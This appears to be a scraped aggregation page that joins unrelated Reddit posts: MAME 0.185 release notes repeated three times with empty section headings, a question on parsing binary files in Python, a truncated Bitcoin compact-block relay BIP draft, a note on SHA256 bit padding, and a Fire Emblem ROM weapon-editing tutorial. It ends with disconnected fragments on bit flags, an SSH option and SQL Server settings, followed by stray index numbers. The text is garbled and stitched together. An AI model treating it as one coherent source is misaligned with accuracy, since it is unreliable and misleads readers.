Newly supported systems include the Galaxy Games StarPak 4 prototype (thanks to Keith Kolmos), Acchi Muite Hoi (a jan-ken-pon game), the HP 9845T computer, Tekken Card World, and Pirate Ship. This release also restores working support for Omori Popper, the driver rewrite having been completed just in time (the old driver had to be removed due to licensing issues). New clones includes the export release of Mach Breakers, an earlier world release of Rastan, the US release of Sonic Blast Man, and Up Maguila (a Spanish bootleg of Donkey Kong Jr.).
Emulation improvements include improved netlist performance, a fix for classic Mac keyboard input, a fix for the Apple I cassette interface, and fixes for regressions in Thomson floppy support and Apollo SIO. The N-Sub driver now supports sound sample playback and the gradient generator simulation uses PROM data. There are also some fixes for bugs in the Intel MCS-51 and 8086 family CPUs.
Of course that’s not all, and you get the source or Windows binaries from the download page and have a look yourself.

MAMETesters Bugs Fixed

New working machines

New working clones

Machines promoted to working

New machines marked as NOT_WORKING

New clones marked as NOT_WORKING

New working software list additions

New NOT_WORKING software list additions

Source Changes

submitted by cuavas to emulation [link] [comments]

MAME 0.185 has been released!

MAME 0.185

Today’s the day for our April MAME release, bringing some important fixes as well as the usual assortment of emulation improvements. A bug preventing multiple keys from being mapped to subdevice inputs has been fixed, which means you can now assign multiple keys to buttons in NeoGeo games and consoles/computers with controllekeyboard/mouse slots. Software loading has been reworked in this release, and the user-visible issues in 0.184 should be addressed. An improvement to the debugger allows more cheats in games with encrypted program ROMs.
Newly supported systems include the Galaxy Games StarPak 4 prototype (thanks to Keith Kolmos), Acchi Muite Hoi (a jan-ken-pon game), the HP 9845T computer, Tekken Card World, and Pirate Ship. This release also restores working support for Omori Popper, the driver rewrite having been completed just in time (the old driver had to be removed due to licensing issues). New clones includes the export release of Mach Breakers, an earlier world release of Rastan, the US release of Sonic Blast Man, and Up Maguila (a Spanish bootleg of Donkey Kong Jr.).
Emulation improvements include improved netlist performance, a fix for classic Mac keyboard input, a fix for the Apple I cassette interface, and fixes for regressions in Thomson floppy support and Apollo SIO. The N-Sub driver now supports sound sample playback and the gradient generator simulation uses PROM data. There are also some fixes for bugs in the Intel MCS-51 and 8086 family CPUs.
Of course that’s not all, and you get the source or Windows binaries from the download page and have a look yourself.

MAMETesters Bugs Fixed

New working machines

New working clones

Machines promoted to working

New machines marked as NOT_WORKING

New clones marked as NOT_WORKING

New working software list additions

New NOT_WORKING software list additions

Source Changes

submitted by cuavas to MAME [link] [comments]

Parsing Complex Binary Formats With Python?

I've been using Python in attempts to parse various binary formats as a series self-directed learning exercises. This is a skill I want to develop because it interests me — even as it tends to frustrate me and make me scratch my head. Either I like pain, or... I have a future in middleware and reverse engineering.
There is just something gratifying about taking something with no (or bad) documentation and "liberating it" by writing code that converts it to something more sane and easily parsed or makes it understandable to the human mind.
I'm running into two basic problems:
  1. I'm having trouble treating a binary file as an object in a way that is both clean and clear that won't litter my __init__ with with excessive amounts of parsing logic just so I can get the self.whatever class variables I want.
  2. Also, parsing strange structures that lend themselves to nesting in ways that seem error prone, special handing due to non-standard data types such as non-ASCII character sets or bytes as token codes.
My Questions Are:
  1. Is there a guide to writing classes that pull __init__ variables from inside of a binary file?
  2. Besides struct, what are my options for parsing binary? Links to in depth tutorials welcome.
  3. Hypothetically speaking and taken to the extreme: if you had to write a disaseembler in Python, what tools would you use to parse the binary and get useful data?
Background:
Reading up on Python's struct library has helped, but it has limits. It's really good at reading fixed length fields. It's not really built for variable length records or bytes that require a dictionary lookup to decode a token or flag of some kind. Numpy also looks promising, but I don't have a good grasp of it yet. Any suggestions on this front would be welcome.
Binaries I've tried to decode with mixed success:
Ancient word processor document on its way to ODT:
Multi-byte header followed by single-byte characters in their own non-ASCII encoding. Characters are all 0x0–0x7f. Feature and document formatting codes are bytes or multi-byte structures with values of 0x80–0xff. Just ascertaining the file format version to set self.version in my object requires comparing the header and checking for certain byte values in the list of bytes the object has just read in.
Pain point: this hasn't been tough to parse and convert to plain text, but current drafts of the class look ugly in the __init__ area. I haven't parsed any of the control sequences yet.
Very Old Source Code to ASCII:
A short (file header) followed by short (line length in bytes) followed short (line number) followed by characters (line content) that until 0x0 (null) is encountered. (All lines have at least a few one-byte tokens to stand in for language keywords in FORTRAN, BASIC, or whatever; everything else is ASCII.) The next line containing two shorts and more line content characters until EOF.
Pain point: I've never actually succeeded in parsing this, except for the fixed integer fields. I've considered Numpy, but I'm not sure if that's the right approach.
There are more complicated structures I've looked at: some feel very file system-like and have huge arrays of pointers. But these are the more basic ones. Also, this post has gotten fairly long already and I've made my questions clear enough.
submitted by s-ro_mojosa to Python [link] [comments]

Compact Block Relay BIP | Matt Corallo | May 02 2016

Matt Corallo on May 02 2016:
Hi all,
The following is a BIP-formatted design spec for compact block relay
designed to limit on wire bytes during block relay. You can find the
latest version of this document at
https://github.com/TheBlueMatt/bips/blob/mastebip-TODO.mediawiki.
There are several TODO items left on the document as indicated.
Additionally, the implementation linked at the bottom of the document
has a few remaining TODO items as well:
time, as the spec requires.
spec, up to 10K in transactions.
Luke (CC'd): Can you assign a BIP number?
Thanks,
Matt
BIP: TODO
Title: Compact block relay
Author: Matt Corallo
Status: Draft
Type: Standards Track
Created: 2016-04-27
==Abstract==
Compact blocks on the wire as a way to save bandwidth for nodes on the
P2P network.
The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT",
"SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this
document are to be interpreted as described in RFC 2119.
==Motivation==
Historically, the Bitcoin P2P protocol has not been very bandwidth
efficient for block relay. Every transaction in a block is included when
relayed, even though a large number of the transactions in a given block
are already available to nodes before the block is relayed. This causes
moderate inbound bandwidth spikes for nodes when receiving blocks, but
can cause very significant outbound bandwidth spikes for some nodes
which receive a block before their peers. When such spikes occur, buffer
bloat can make consumer-grade internet connections temporarily unusable,
and can delay the relay of blocks to remote peers who may choose to wait
instead of redundantly requesting the same block from other, less
congested, peers.
Thus, decreasing the bandwidth used during block relay is very useful
for many individuals running nodes.
While the goal of this work is explicitly not to reduce block transfer
latency, it does, as a side effect reduce block transfer latencies in
some rather significant ways. Additionally, this work forms a foundation
for future work explicitly targeting low-latency block transfer.
==Specification==
===Intended Protocol Flow===
TODO: Diagrams
The protocol is intended to be used in two ways, depending on the peers
and bandwidth available, as discussed [[#Implementation_Details|later]].
The "high-bandwidth" mode, which nodes may only enable for a few of
their peers, is enabled by setting the first boolean to 1 in a
"sendcmpct" message. In this mode, peers send new block announcements
with the short transaction IDs already, possibly even before fully
validating the block. In some cases no further round-trip is needed, and
the receiver can reconstruct the block and process it as usual
immediately. When some transactions were not available from local
sources (ie mempool), a getblocktxn/blocktxn roundtrip is neccessary,
bringing the best-case latency to the same 1.5*RTT minimum time that
nodes take today, though with significantly less bandwidth usage.
The "low-bandwidth" mode is enabled by setting the first boolean to 0 in
a "sendcmpct" message. In this mode, peers send new block announcements
with the usual inv/headers announcements (as per BIP130, and after fully
validating the block). The receiving peer may then request the block
using a MSG_CMPCT_BLOCK getdata reqeuest, which will receive a response
of the header and short transaction IDs. In some cases no further
round-trip is needed, and the receiver can reconstruct the block and
process it as usual, taking the same 1.5*RTT minimum time that nodes
take today, though with significantly less bandwidth usage. When some
transactions were not available from local sources (ie mempool), a
getblocktxn/blocktxn roundtrip is neccessary, bringing the best-case
latency to 2.5*RTT, again with significantly less bandwidth usage than
today. Because TCP often exhibits worse transfer latency for larger data
sizes (as a multiple of RTT), total latency is expected to be reduced
even when full the 2.5*RTT transfer mechanism is used.
===New data structures===
Several new data structures are added to the P2P network to relay
compact blocks: PrefilledTransaction, HeaderAndShortIDs,
BlockTransactionsRequest, and BlockTransactions. Additionally, we
introduce a new variable-length integer encoding for use in these data
structures.
For the purposes of this section, CompactSize refers to the
variable-length integer encoding used across the existing P2P protocol
to encode array lengths, among other things, in 1, 3, 5 or 9 bytes.
====New VarInt====
TODO: I just copied this out of the src...Something that is
wiki-formatted and more descriptive should be used here isntead.
Variable-length integers: bytes are a MSB base-128 encoding of the number.
The high bit in each byte signifies whether another digit follows. To make
sure the encoding is one-to-one, one is subtracted from all but the last
digit.
Thus, the byte sequence a[] with length len, where all but the last byte
has bit 128 set, encodes the number:
(a[len-1] & 0x7F) + sum(i=1..len-1, 128i*((a[len-i-1] & 0x7F)+1))
Properties:
0: [0x00] 256: [0x81 0x00]
1: [0x01] 16383: [0xFE 0x7F]
127: [0x7F] 16384: [0xFF 0x00]
128: [0x80 0x00] 16511: [0x80 0xFF 0x7F]
255: [0x80 0x7F] 65535: [0x82 0xFD 0x7F]
232: [0x8E 0xFE 0xFE 0xFF 0x00]
Several uses of New VarInts below are "differentially encoded". For
these, instead of using raw indexes, the number encoded is the
difference between the current index and the previous index, minus one.
For example, a first index of 0 implies a real index of 0, a second
index of 0 thereafter refers to a real index of 1, etc.
====PrefilledTransaction====
A PrefilledTransaction structure is used in HeaderAndShortIDs to provide
a list of a few transactions explicitly.
{|
|Field Name||Type||Size||Encoding||Purpose
|-
|index||New VarInt||1-3 bytes||[[#New_VarInt|New VarInt]],
differentially encoded since the last PrefilledTransaction in a
list||The index into the block at which this transaction is
|-
|tx||Transaction||variable||As encoded in "tx" messages||The transaction
which is in the block at index index.
|}
====HeaderAndShortIDs====
A HeaderAndShortIDs structure is used to relay a block header, the short
transactions IDs used for matching already-available transactions, and a
select few transactions which we expect a peer may be missing.
{|
|Field Name||Type||Size||Encoding||Purpose
|-
|header||Block header||80 bytes||First 80 bytes of the block as defined
by the encoding used by "block" messages||The header of the block being
provided
|-
|nonce||uint64_t||8 bytes||Little Endian||A nonce for use in short
transaction ID calculations
|-
|shortids_length||CompactSize||1, 3, 5, or 9 bytes||As used elsewhere to
encode array lengths||The number of short transaction IDs in shortids
|-
|shortids||List of uint64_ts||8*shortids_length bytes||Little
Endian||The short transaction IDs calculated from the transactions which
were not provided explicitly in prefilledtxn
|-
|prefilledtxn_length||CompactSize||1, 3, 5, or 9 bytes||As used
elsewhere to encode array lengths||The number of prefilled transactions
in prefilledtxn
|-
|prefilledtxn||List of PrefilledTransactions||variable
size*prefilledtxn_length||As defined by PrefilledTransaction definition,
above||Used to provide the coinbase transaction and a select few which
we expect a peer may be missing
|}
====BlockTransactionsRequest====
A BlockTransactionsRequest structure is used to list transaction indexes
in a block being requested.
{|
|Field Name||Type||Size||Encoding||Purpose
|-
|blockhash||Binary blob||32 bytes||The output from a double-SHA256 of
the block header, as used elsewhere||The blockhash of the block which
the transactions being requested are in
|-
|indexes_length||New VarInt||1-3 bytes||As defined in [[#New_VarInt|New
VarInt]]||The number of transactions being requested
|-
|indexes||List of New VarInts||1-3 bytes*indexes_length||As defined in
[[#New_VarInt|New VarInt]], differentially encoded||The indexes of the
transactions being requested in the block
|}
====BlockTransactions====
A BlockTransactions structure is used to provide some of the
transactions in a block, as requested.
{|
|Field Name||Type||Size||Encoding||Purpose
|-
|blockhash||Binary blob||32 bytes||The output from a double-SHA256 of
the block header, as used elsewhere||The blockhash of the block which
the transactions being provided are in
|-
|transactions_length||New VarInt||1-3 bytes||As defined in
[[#New_VarInt|New VarInt]]||The number of transactions provided
|-
|transactions||List of Transactions||variable||As encoded in "tx"
messages||The transactions provided
|}
====Short transaction IDs====
Short transaction IDs are used to represent a transaction without
sending a full 256-bit hash. They are calculated by:

single-SHA256 hashing the block header with the nonce appended (in

little-endian)

XORing each 8-byte chunk of the double-SHA256 transaction hash with

each correspondi...[message truncated here by reddit bot]...
original: http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2016-May/012624.html
submitted by dev_list_bot to bitcoin_devlist [link] [comments]

I'm adding an update(bit array) function to Gnu Crypto SHA256 - Looking for test cases with bits not a multiple of 8

It appears to be easily doable in the padBuffer function like this:
//padding is always binary 1 followed by binary 0s
//old code: result[0] = (byte) 0x80;
result[0] = lastByteWhichEndsWithBit1; //new code
and an update(boolean...) function which sets lastByteWhichEndsWithBit1 using 1-7 bits. You optionally call it after update byte functions.
I'm looking for standard SHA256 test cases. This is not a nonstandard implementation of SHA256 because that secure hash algorithm is defined as bits. It may appear to be because people got lazy and usually implemented it for bytes, so those are the test cases that can easily be found.
submitted by BenRayfield to crypto [link] [comments]

[Hacking Tutorial] Modifying Existing Weapons

It's been a while since I had one of these, but we're going to go through modifying weapons and adding custom ones. There's some new concepts in here for adding new items, so we're going to start simple with modifying existing weapons.
Things you'll need:
With that, let's get started. The first thing we're going to do is simple: modify stats of existing weapons.
  1. Open up Nightmare and open up the ROM and load up the Item Editor for your game (I assume you went through the other tutorials, so I won't have too many pictures for things covered earlier). You should see something like this for FE6.
  2. Things should be looking pretty obvious right now, so let's choose a weapon to modify. Let's just do Iron Lance, since that's easy to test. So go ahead and find Iron Lance in the list.
  3. Once you select it, all of the fields below will update with data for that item. Most things should be pretty straightforward, and modifying them should be pretty straightforward as well, but let's just go over them really quick.
  1. Whew, so let's just modify our Iron Lance already. We're going to modify it so that it looks like this. Yeah, it's OP.
  2. So let's check it out in game. Pssh. Yeah, "ordinary spear" my ass. Let's try it out, shall we?. I'm not sure I would have expected any different. Also, I'm pretty sure that's the Divinestone buff.
  3. So, there you go. How to break Fire Emblem 6 over your knee with an ordinary spear.
So I did mention you could do all of this without Nightmare as well. You should stop reading here if you want to keep your brain intact. I take no responsibility for massive confusion if you read on.
Here's your cheat sheet for doing it without Nightmare. You have to know where the weapon data lives in the ROM. You see, that nightmare module (nmm file) is actually human readable if you open it in a text editor. If you open up FE6's item editor, you'll find this:
FE6 Item Editor by SpyroDi, modified by Arch
0x60B648
128
32
FE6 Item Editor.txt
NULL
You can take a guess what that address I bolded there is. If you jump to that address in the hex, you'll find the start of weapon data. Each block for an item is 0x20 bytes (32 bytes, which corresponds to the other info in the module). Remember Iron Lance's ID? It was 0x10. That means it's the 16th item in the block. so if you do 16 x 32, you'll get 512, which is 0x200. If you jump to 0x60B648 + 0x200 (which is 0x60B848), you'll find your Iron Lance. So let's jump to it in our modified file.
What you'll see at that offset and the next 32 bytes for it is:
39 07 BE 05 00 00 10 01 21 01 00 00 B0 27 66 08 00 00 00 00 63 19 64 01 23 11 08 00 01 0F 00 00
Sweet jesus, what the fuck is this? Well, if you look closely and look at what we found earlier for Iron Lance, all of those values do actually match up. Remember the item name? The value there was 0739 in Nightmare. Remembering that GBA uses little endian, that corresponds to the first 2 bytes. The next two are the item description (which was 05BE in nightmare). The next two are the item description, which was blank (0000). Followed by the ID (0x10), weapon type (1 for spear), weapon ability 1 (0x20 is the brave effect, and 0x01 is the weapon trait, combine them together for 0x21), weapon ability 2 (0x01 is Reversing weapon triangle), 2 blank bytes (you'll see how we get this later), stat bonuses pointer (again, written in little endian order (we typed in 86627B0 earlier)), effectiveness pointer (which was nil, so 00000000), then durability (which was 99, or 0x63 in hex) and so on. Note that cost per use in this case is 2 bytes (since it could exceed 255, theoretically).
Note that this format is different across games, so you may have to figure out what you're modifying, but the general order is roughly the same. In fact, the nightmare module also tells you this information of what the bytes mean (including blank bytes from above) if you parse through it. Here's a sample from FE7's item editor nightmare module:
FE7 Item Editor by SpyroDi, updated by Nintenlord
0xBE222c Where the item data starts
159 How many items we have
36 The size of each item
FE7 Item Editor.txt
NULL
Item Name Pointer
0 The offset for the item name (i.e. how many bytes to skip from the beginning)
2 The number of bytes taken up by this field (i.e. how many bytes to read)
NEHU
NULL
The bold bits are mine.
Finally, what if you don't know the ID? Alongside the nightmare module for the item editor is also an Item List.txt file that holds the list of all IDs for all items. You can look it up there as well.
Just to prove this works, we're going to modify our weapon back to more reasonable levels. We'll remove the Divinestone buff and bring it down to more reasonable levels. The changes I made look like this in HxD, and you should be able to decipher what my values are going to be.
I changed the Iron Lance to this string of hex:
39 07 BE 05 00 00 10 01 21 01 00 00 00 00 00 00 00 00 00 00 3C 04 64 08 0A 11 08 00 01 0F 00 00
Take a moment and see if you can figure out what I changed it to. I bolded the changes. See if you're right here. It still breaks the game, but at least it breaks it more reasonably.
Believe it or not, this is the easy stuff. Making your own weapons? That shit is a lot more complicated, but if you know this, it'll make things a lot easier.
submitted by OtakuReborn to fireemblem [link] [comments]

MAME 0.185 has been released!

MAME 0.185

Today’s the day for our April MAME release, bringing some important fixes as well as the usual assortment of emulation improvements. A bug preventing multiple keys from being mapped to subdevice inputs has been fixed, which means you can now assign multiple keys to buttons in NeoGeo games and consoles/computers with controllekeyboard/mouse slots. Software loading has been reworked in this release, and the user-visible issues in 0.184 should be addressed. An improvement to the debugger allows more cheats in games with encrypted program ROMs.
Newly supported systems include the Galaxy Games StarPak 4 prototype (thanks to Keith Kolmos), Acchi Muite Hoi (a jan-ken-pon game), the HP 9845T computer, Tekken Card World, and Pirate Ship. This release also restores working support for Omori Popper, the driver rewrite having been completed just in time (the old driver had to be removed due to licensing issues). New clones includes the export release of Mach Breakers, an earlier world release of Rastan, the US release of Sonic Blast Man, and Up Maguila (a Spanish bootleg of Donkey Kong Jr.).
Emulation improvements include improved netlist performance, a fix for classic Mac keyboard input, a fix for the Apple I cassette interface, and fixes for regressions in Thomson floppy support and Apollo SIO. The N-Sub driver now supports sound sample playback and the gradient generator simulation uses PROM data. There are also some fixes for bugs in the Intel MCS-51 and 8086 family CPUs.
Of course that’s not all, and you get the source or Windows binaries from the download page and have a look yourself.

MAMETesters Bugs Fixed

New working machines

New working clones

Machines promoted to working

New machines marked as NOT_WORKING

New clones marked as NOT_WORKING

New working software list additions

New NOT_WORKING software list additions

Source Changes

submitted by cuavas to cade [link] [comments]

#define OPTION_E 0x0010 // 0001 0000 e.g. OPTION_B and OPTION_E -> ON: binary 0001 0010 which is 0x12. Then with just setting or reseting one or more bit using bitmasks (mainly logical AND and logical OR) you can turn on/off options independently from other and check which options are turned on. As for files a binary option is the default, which will omit any conversion; this is required for everything except plain text documents. Newline separator: Unix and Windows systems uses different line break characters, prior encoding either variants will be replaced within your data to the selected option. At the files section this is 0x80 in binary would be 1000 0000 0000 0000 0000 0000 0000 0000 now checking it against 0x0fffffff would give 0 .This way I am thinking. – Amit Singh Tomar Oct 5 '13 at 8:05 4 Option for binary mode for `exec_command` #291. Open smurn opened this issue Mar 22, 2014 · 3 comments Open Option True) UnicodeDecodeError: 'utf8' codec can't decode byte 0x80 in position 0: invalid start byte The code below helps decrypt @schema_option settings for Transaction Replication articles. Note the meaning of binary offset may change in future builds of SQL Server. Always check Microsoft docs for most accurate listing. You’ll find scheme_options listing documented at sp_addarticle.

[index] [20806] [14971] [9342] [5786] [18523] [13592] [28970] [20662] [14973] [20007]

Flag Counter